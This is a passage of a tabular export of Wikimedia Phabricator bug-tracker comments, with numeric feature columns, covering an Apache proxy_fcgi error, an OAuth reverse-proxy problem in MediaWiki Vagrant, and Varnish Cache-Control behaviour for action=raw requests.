+IDK if we want to invest that kind of time in such an activity.",,,1412952313,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,1,1,0,0,0,0
+327188,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","According to httpd[1] ""Got bogus version 1"" refers to the first byte in every fastcgi record.  Per the spec[2] the only valid value there is 1.  Something odd is going on, but without a capture of the packets i couldn't say what.
+
+
+[1] https://github.com/apache/httpd/blob/trunk/modules/proxy/mod_proxy_fcgi.c#L525
+[2] http://www.fastcgi.com/devkit/doc/fcgi-spec.html#S3.3",,,1412118610,,PHID-USER-r5pzlcquei6f4hb53rfg,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,1,False,,,-40,True,1,1,0,0,1,1,0,0,0,0,1,1,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,1
+72964,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","When attempting to test mediawiki oauth against a test instance of mediawiki vagrant, something is stripping the auth headers from the https request. I think it's related to the nginx reverse proxy but I couldn't find anything wrong with the nginx config or anything else that looked like an obvious problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=73510",Low,25.0,1410991260,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,False,PHID-TASK-32irtnmgs2xfzwx76kew,task_description,open,True,c3,1,True,False,,-42,True,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+326843,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy",See also bug 73510 related to the non-standard HTTPS port + reverse proxy. Possibly OAuth doesn’t like non-standard port and/or isn’t aware a non-standard port is used.,,,1416219587,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,False,,,-33,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+326838,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","@bd808: I'm planning to test this further, just filed to bug to remind myself because it had slipped my mind for a while and I didn't want to forget it again.",,,1411096040,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1
+326833,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","It's the standard mediawiki vagrant box, not customized in any significant way.
+
+I'm referring to the proxy that sits between mediawiki and the world outside the VM connecting to the forwarded port 4430 for https.
+
+This is set up by the puppet rules for the https role in mediawiki vagrant.",,,1411095900,,PHID-USER-fn7qnpccfbitivgtw2rt,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+326830,"oauth plugin doesn't work in vagrant, seemingly due to the https reverse-proxy","(In reply to Mukunda Modell from comment #0)
+> ... related to the nginx reverse proxy ...
+
+Which nginx reverse proxy? Could you describe your testing environment in more detail?",,,1410991511,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-32irtnmgs2xfzwx76kew,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1
+71460,action=raw should allow public HTTP caching where possible,"**Author:** `metatron`
+
+**Description:**
+When loading a gagdget or custom script from eg. meta/mediawiki/enwiki with
+
+-mw.loader.load('//meta.wikimedia.org/w/index.php?title=...&action=raw&ctype=...')
+
+the responded cache-control directive is 
+- private, s-maxage=0, max-age=0, must-revalidate
+
+which prevents these scripts from being cached properly and causes a lag (40-500ms) on each call.
+
+(IMHO JS pages should have a reasonable default > 0)
+
+
+
+Example with requested cache:
+```
+Remote Address:xx.xx.xx.xx:443
+Request URL:https://meta.wikimedia.org/w/index.php?title=User:Hedonil/Test/XTools.js&action=raw&ctype=text/javascript&maxage=86400&smaxage=86400
+Request Method:GET
+Status Code:304 Not Modified
+Request Headersview source
+Accept:*/*
+Accept-Encoding:gzip,deflate,sdch
+Accept-Language:en,no;q=0.8,nb;q=0.6,vi;q=0.4,nl;q=0.2,zh;q=0.2,ru;q=0.2,en-US;q=0.2,zh-CN;q=0.2,zh-TW;q=0.2
+Connection:keep-alive
+metawikiUserID=..centralauth_User..
+Host:meta.wikimedia.org
+If-Modified-Since:Wed, 13 Aug 2014 04:18:39 GMT
+Referer:https://en.wikipedia.org/wiki/Charles_Schild
+User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
+Query String Parametersview sourceview URL encoded
+title:User:Hedonil/Test/XTools.js
+action:raw
+ctype:text/javascript
+maxage:86400
+smaxage:86400
+Response Headersview source
+Accept-Ranges:bytes
+Age:0
+Cache-Control:private, s-maxage=0, max-age=0, must-revalidate
+Connection:keep-alive
+Content-Encoding:gzip
+Content-Type:text/javascript; charset=UTF-8
+Date:Wed, 13 Aug 2014 07:55:42 GMT
+Last-modified:Wed, 13 Aug 2014 04:18:39 GMT
+Server:nginx/1.1.19
+Vary:Accept-Encoding
+Via:1.1 varnish, 1.1 varnish, 1.1 varnish
+X-Cache:cp1065 miss (0), amssq50 miss (0), amssq31 frontend miss (0)
+X-Content-Type-Options:nosniff
+X-Varnish:948365503, 2378009697, 4022640906
+ConsoleSearchEmulationRendering
+```
+
+Example without requested directive:
+
+```
+Remote Address:xx.xx.xx.xx:443
+Request URL:https://en.wikipedia.org/w/index.php?title=MediaWiki%3AGadget-HotCat.js%2Flocal_defaults&action=raw&ctype=text/javascript
+Request Method:GET
+Status Code:304 Not Modified
+Request Headersview source
+Accept:*/*
+Accept-Encoding:gzip,deflate,sdch
+Accept-Language:en,no;q=0.8,nb;q=0.6,vi;q=0.4,nl;q=0.2,zh;q=0.2,ru;q=0.2,en-US;q=0.2,zh-CN;q=0.2,zh-TW;q=0.2
+Connection:keep-alive
+Cookie:enwikiSession=..centralauth_User=...
+Host:en.wikipedia.org
+If-Modified-Since:Mon, 23 Jun 2014 19:15:43 GMT
+Referer:https://en.wikipedia.org/wiki/Charles_Schild
+User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
+Query String Parametersview sourceview URL encoded
+title:MediaWiki:Gadget-HotCat.js/local_defaults
+action:raw
+ctype:text/javascript
+Response Headersview source
+Accept-Ranges:bytes
+Age:0
+Cache-Control:private, s-maxage=0, max-age=0, must-revalidate
+Connection:keep-alive
+Content-Encoding:gzip
+Content-Type:text/javascript; charset=UTF-8
+Date:Wed, 13 Aug 2014 07:55:42 GMT
+Last-modified:Mon, 23 Jun 2014 19:15:43 GMT
+Server:nginx/1.1.19
+Vary:Accept-Encoding
+Via:1.1 varnish, 1.1 varnish, 1.1 varnish
+X-Cache:cp1053 miss (0), amssq55 miss (0), amssq54 frontend miss (0)
+X-Content-Type-Options:nosniff
+X-Varnish:2605122819, 917135542, 2533692991
+```",Low,25.0,1407918660,1689822186.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_description,resolved,True,c3,1,False,False,False,-47,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+2162312,action=raw should allow public HTTP caching where possible,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.
+
+
+> the responded cache-control directive is
+> `private, s-maxage=0, max-age=0, must-revalidate`
+
+The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to `s-maxage=0` at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.
+
+This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to `0`.
+
+To prove this, check the other headers:
+
+```
+curl -I 'https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css'
+
+last-modified: Sun, 04 Sep 2022 13:22:02 GMT
+x-cache: …, cp3056 hit/2
+x-cache-status: hit-front
+age: 524
+cache-control: private, s-maxage=0, max-age=0, must-revalidate
+```
+
+The `x-cache` shows that Varnish (Wikimedia CDN) served it directly from the cache (""hit""). The `age` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).
+
+",,,1689822520,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+2162311,action=raw should allow public HTTP caching where possible,"The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.
+
+
+> the responded cache-control directive is
+> `private, s-maxage=0, max-age=0, must-revalidate`
+
+The s-maxage is traditionally for cache proxies, such as the Wikimedia CDN. However, to avoid stale content, we artificially change this to `s-maxage=0` at our CDN layer. The reason is to avoid cache proxies elsewhere in the world (outside our control) from storing obsolete copies.
+
+This might make it look like that MediaWiki is sending s-maxage=0 to the CDN, but it is not. It is sending a higher value, and then when we send it from the CDN cache to the browser, we change it to `0`.
+
+To prove this, check the other headers:
+
+```
+curl -I https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css
+
+last-modified: Sun, 04 Sep 2022 13:22:02 GMT
+x-cache: …, cp3056 hit/2
+x-cache-status: hit-front
+age: 524
+cache-control: private, s-maxage=0, max-age=0, must-revalidate
+```
+
+The `x-cache` shows that Varnish (Wikimedia CDN) served it directly from the cache (""hit""). The `age` header shows how long ago it was added to the cache (524 second, or 8 minutes, ago).
+
+",,,1689822503,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+2162306,action=raw should allow public HTTP caching where possible,The originally stated description was solved. The issue of CDN caching for logged-in users is filed at {T279120}.,,,1689822187,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+2162305,action=raw should allow public HTTP caching where possible,">>! In T71460#8947620, @Nux wrote:
+> […] There some docs that still mention them, notably in the raw action section here: https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw
+> 
+> The docs seems to suggest this should be better:
+> ```
+> mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+> ```
+> Then this:
+> ```
+> mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+> ```
+> 
+> But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)
+
+Indeed, when logged-out, both of these URLs enjoy the same CDN caching, and neither of them permits unrestricted browser caching. A notable difference is that when the page is edited, only the second one will automatically be purged and updated. The first one will stay out of date on the CDN because its URL is non-standard (not ""canonical""), and so it is not known when we save an edit that this URL might exist in the cache, as there are infinite variations one could make with these parameters.
+
+When logged-in, action=raw is not cached by the CDN, no matter which parameters are set.
+
+The only thing these parameters do, is make the URL non-standard, and thus its CDN cache entry (for logged-out browsers) will remain stale for up to 24 hours after editing.",,,1689822102,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,420,True,1,0,0,1,1,1,1,1,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1
+2145277,action=raw should allow public HTTP caching where possible,"> The scripts are not re-downloaded every time you view a page, and there is no need to add any bcache, maxage or smaxage parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.
+
+So, are `maxage` and `smaxage` obsolete? There some docs that still mention them, notably in the raw action section here:
+https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw
+
+The docs seems to suggest this should be better:
+```
+mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+```
+Then this:
+```
+mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+```
+
+But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)",,,1687209599,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,415,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+2145274,action=raw should allow public HTTP caching where possible,"> The scripts are not re-downloaded every time you view a page, and there is no need to add any bcache, maxage or smaxage parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.
+
+So are `maxage` and `smaxage` obsolete? There some docs that still mention those. Notably on the raw action:
+https://www.mediawiki.org/wiki/Manual:Parameters_to_index.php#Raw
+
+The docs seems to suggest this should be better:
+```
+mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&smaxage=86400&maxage=259200&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+```
+Then this:
+```
+mw.loader.load(""https://pl.wikipedia.org/w/index.php?action=raw&ctype=text/css&title=Wikipedysta:Msz2001/sourcecode-links.css"", ""text/css"");
+```
+
+But looking at the headers and the fact that the raw call sometimes sets cookies, it seems docs are wrong, right? :-)",,,1687209453,,PHID-USER-awklupbdn3wr6glu7nyx,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,415,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,0,1
+1277822,action=raw should allow public HTTP caching where possible,"@AfroThundr3007730 There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to `0`.
+
+Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.
+
+Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice).
+
+
+The scripts are not re-downloaded every time you view a page, and there is no need to add any `bcache`, `maxage` or `smaxage` parameters to MediaWiki urls, these do not improve performance anymore. Performance is our default, as much as possible.",,,1557345305,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,200,True,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+1277819,action=raw should allow public HTTP caching where possible,"@AfroThundr3007730 There are no plans to do that currently. These cannot be safely cached for security and privacy reasons, as such they are intentionally set to `0`.
+
+Note that max-age=0,private does not mean they are not cached. It simply means they are not unconditionally re-used by the CDN and your browser, which is not the same as caching.
+
+Your browser does cache these, and does re-use the downloaded script between pages. The only thing it does is transfer a very small message in the background when loading a page to check if the script has changed since your last page view (this means edits will immediately apply, which is nice). The scripts are not re-downloaded every time you view a page.",,,1557345053,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,200,True,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,1,1,0,1,0,1,0,0,1,0,0,1,1,0,1,1,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0
+1277816,action=raw should allow public HTTP caching where possible,"Is there any plan to let the `maxage` parameter work correctly? Currently it still returns a `Cache-Control` header with `max-age=0` despite explicitly setting it to a higher value. Using `bcache=1` isn't changing the behavior either.
+
+A quick count shows I have ~106 calls to either `importScript` or `mw.loader.load` in my [[https://en.wikipedia.org/wiki/User:AfroThundr3007730/common.js|`common.js`]] currently. It would be really awesome if all those requests could be cached instead of being loaded from scratch every time I open a tab (of which I usually have dozens up at a time). Granted, my use case is not a typical one, but the software should support `Cache-Control` with a `max-age > 0` for user loaded resources, especially if we use something like `&maxage=86400` in the URI (which I'm not currently, since that parameter doesn't even work).",,,1557344817,,PHID-USER-336i3n35cbx44mizj2zp,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,False,,,200,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,1
+653869,action=raw should allow public HTTP caching where possible,"max-age and s-maxage aren't really relevant in this issue and have been mostly obsoleted by the fact that we now allow full Varnish/Squid caching for action=raw (and are automatically purged after edits, the same way we purge the regular article views of pages).
+
+However that only applies to logged-out users. For logged-in users, action=raw, similar to regular page views, always bypass cache.
+
+We should fix this so that on regular wikis (e.g. not private read-restricted wikis) action=raw responses are publicly cached so that they can be completely handled by Varnish instead of requiring an needless roundtrip through Apache/PHP/MediaWiki.",,,1461886688,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,43,True,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+518357,action=raw should allow public HTTP caching where possible,"One year later, wondering if that's still an issue, or whether someone could answer the last comment:
+> Why not just simply add a regex to meet the directives of the request?",,,1441111408,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,3,True,,,8,True,0,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,0,1
+320921,action=raw should allow public HTTP caching where possible,"**metatron** wrote:
+
+If this is caused by this lines (as Michael M. stated):
+
+sub vcl_deliver {
+   /* Override the Cache-Control header for wiki content pages */
+   if (req.url ~ ""(?i)^/w(iki)?/.*""
+       && req.url !~ ""^/wiki/Special\:Banner(Controller|ListLoader)""
+       && req.url !~ ""(?i)^/w/(extensions/.*|api\.php)""
+       && req.url !~ ""(?i)bcache=1"") {
+       set resp.http.Cache-Control = ""private, s-maxage=0, max-age=0, must-revalidate"";
+   }
+}
+
+Why not just simply add a regex to meet the directives of the request?
+Request-url and query-string are available at present; the ""new"" parameter bcache is respected, why not maxage/s-maxage?
+IMHO at least ""private"" should be removed for requested .js/.css pages or for action ""raw"". This would allow proxies/local browsers to intelligently set caching. ""private"" + ""must revalidate"" leaves no elbowroom for systems to guess the right things.
+
+https://meta.wikimedia.org/w/index.php?title=User:Hedonil/Test/XTools.js&action=raw&ctype=text/javascript&maxage=86400&smaxage=86400",,,1409109753,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1
+320917,action=raw should allow public HTTP caching where possible,"That change simply puts the same behaviour in place that was there with the Squid cluster before Varnish.
+
+The problem is that we don't have separate Cache-Control headers for _our caches_ vs _clients_ in MediaWiki, and never have had. So MediaWiki's Cache-Control header is targeted at our caches, and Varnish replaces that header with one that for most URLs doesn't allow caching (just like our Squid config did). Unfortunately, Varnish can only guess from the URL.",,,1408982819,,PHID-USER-hovi6c77qompv5qd7gtz,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,0
+320914,action=raw should allow public HTTP caching where possible,"(In reply to Andre Klapper from comment #4)
+> Mark: Any comments, as you worked on that change?
+
+That's an old change (2013) so he might have forgotten ;)
+
+Krinkle/Roan/Trevor: Thoughts here on the right cache settings?",,,1408982381,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,1
+320908,action=raw should allow public HTTP caching where possible,"Mark: Any comments, as you worked on that change?",,,1408823213,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-45,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+320902,action=raw should allow public HTTP caching where possible,"(In reply to Michael M. from comment #2)
+> I can confirm that appending &bcache=1 to the URL will set the Cache-Control
+> as expected, so this definitely is caused by
+> http://git.wikimedia.org/commitdiff/operations%2Fpuppet.git/
+> ce1f2b638ab2a09097ffe207ec6dc35c3823bc1b
+
+Thanks for investigating.
+
+Mark: Any comments, as you worked on that change?",,,1408106923,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,True,,,-46,True,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+320897,action=raw should allow public HTTP caching where possible,"I can confirm that appending &bcache=1 to the URL will set the Cache-Control as expected, so this definitely is caused by http://git.wikimedia.org/commitdiff/operations%2Fpuppet.git/ce1f2b638ab2a09097ffe207ec6dc35c3823bc1b",,,1407921043,,PHID-USER-tyjmn7xcw6s2b6rqagj7,False,,,PHID-TASK-et2rlvvz3mjshv2ntlpu,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
